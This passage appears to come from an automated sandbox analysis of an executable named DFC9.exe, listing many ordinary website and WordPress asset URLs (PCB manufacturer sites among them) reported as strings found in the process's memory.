Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201905291719408368.jpg)
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201907271729136227_thumb.jpeg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201907271739062270.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201907271754073236.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201907311343331906_thumb.jpeg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/201907311824262638.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/20190820152543750.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/202101131145139545.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/202106301820427029.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mobilnic.net/upload/img/202204211128024598.jpg
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mqs.com.br/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mqs.com.br/k
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com#breadcrumblist
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com#webpage
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/#organization
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/#website
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/?s=
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/blog/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/comments/feed/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/contact-us/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/contact-us/suggestion-box/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/download/DownloadApk.php
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/faq/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/feed/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/my-cart/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/bom/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/fpc-quote/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/parts/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/pcb-and-schematic-design/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/pcb-assembly-quote/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/pcb-production-quote/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/stencil-quote/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/an-introduction-to-high-density-interconnect-hdi-pcbs/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/components-parts/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/customized-cable/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/enclosure/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/fpc-flexible-printed-circuits/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/hdipcb/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/myro-intelligent-cloud-forehead-thermometer/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/pcb-capabilities/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/pcb-design-layout/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/pcb-restoration/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/pcba-services/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/special-offer-specifications/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/stencil/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/testimonial/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/about-us/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/agents-brokers/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/awards-certificates/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/our-facilities/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/privacy-policy/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/referral-program/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/rohs/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/satisfaction-guarantee/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/shipping-cost/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/terms-of-service/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.2.2
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/plugins/lightbox-2/lightbox.js?ver=1.8
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/plugins/wp-simple-firewall/resources/js/shield/notbot.js?ver=16.1.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/images/login1.gif
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/images/register1.gif
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/images/shopping_car.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/js/easySlider.js
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/js/jquery-ui.min.js
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/style.css
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/thematic/library/scripts/hoverIntent.js
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/thematic/library/scripts/superfish.js
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/thematic/library/scripts/supersubs.js
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/thematic/library/scripts/thematic-dropdowns.js
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-includes/css/dist/block-library/style.min.css?ver=5.5.11
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-includes/js/jquery/jquery.js?ver=1.12.4-wp
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-includes/wlwmanifest.xml
Source: DFC9.exe, 00000015.00000002.556938701.0000000007291000.00000004.00000020.00020000.00000000.sdmp, DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-json/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.myropcb.com%2F
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.myropcb.com%2F&format=xml
Source: DFC9.exe, 00000015.00000002.556938701.0000000007291000.00000004.00000020.00020000.00000000.sdmp, DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-json/wp/v2/pages/28
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/xmlrpc.php
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/xmlrpc.php?rsd
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.naoi-a.com/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.netcr.com/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.netcr.com//;
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.olras.com/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ora-ito.com/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ora-ito.com/S
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ora.ecnet.jp/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ora.ecnet.jp/N
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.otena.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/
Source: DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/#
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-gdpr.css?ver=2.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-public.css?ver=
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-table.css?ver=2
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/js/cookie-law-info-public.js?ver=2.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/download-now-for-woocommerce/assets/css/somdn-style.css?ve
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/download-now-for-woocommerce/assets/js/somdn_script.js?ver
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/dt-the7-core/assets/css/post-type.min.css?ver=2.5.7.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=3.3.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.3.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.3.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/preloaded-modules.min.js?ver=3.3.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.3.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/animations/animations.min.css?ver=3.3
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js?ver=4.8.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ve
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.eot?5.10.0);src:u
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.svg?5.10.0#eicon)
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.ttf?5.10.0)
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff2?5.10.0)
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/brands.min.css?ver=5
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.min.css?
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js?ver=3.3.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/swiper/swiper.min.js?ver=5.3.6
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.0.2
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/email-subscribers/lite/public/css/email-subscribers-public
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/email-subscribers/lite/public/js/email-subscribers-public.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/feedback-modal-for-website/assets/css/fm-public.css?ver=1.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/feedback-modal-for-website/assets/icons/line-awesome/css/l
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/feedback-modal-for-website/assets/js/fm-public.js?ver=1.0.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/css/frontend.min.css?ver=3.3.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/frontend.min.js?ver=3.3.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/preloaded-elements-handlers.min.js?
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/webpack-pro.runtime.min.js?ver=3.3.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/lib/sticky/jquery.sticky.min.js?ver=3.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/show-hidecollapse-expand/assets/css/bg-show-hide.css?ver=5
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/show-hidecollapse-expand/assets/css/genericons/genericons.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/show-hidecollapse-expand/assets/js/bg-show-hide.js?ver=5.8
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-discount-rules-pro/Assets/Css/awdr_style.css?ver=2.3.7
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-discount-rules-pro/Assets/Js/awdr_pro.js?ver=2.3.7
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Css/customize-table.css?ver=2
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Js/awdr-dynamic-price.js?ver=
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.7
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/css/gpls_woo_rfq.css?v
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/js/gpls_woo_rfq.js?ver
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/css/front.css?ver=1.3.7
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/chosen/chosen.jquery.min.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/chosen/chosen.min.css?ver
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/front.js?ver=1.3.7
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/price-slider_33.js?ver=1.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-deposits/assets/css/style.css?ver=3.1.7
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-deposits/assets/css/toggle-switch.css?ver=3.1.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-deposits/assets/js/add-to-cart.js?ver=3.1.7
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-pdf-catalog/public/css/woocommerce-pdf-catalog
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=5.5.
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=5
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=5.5.
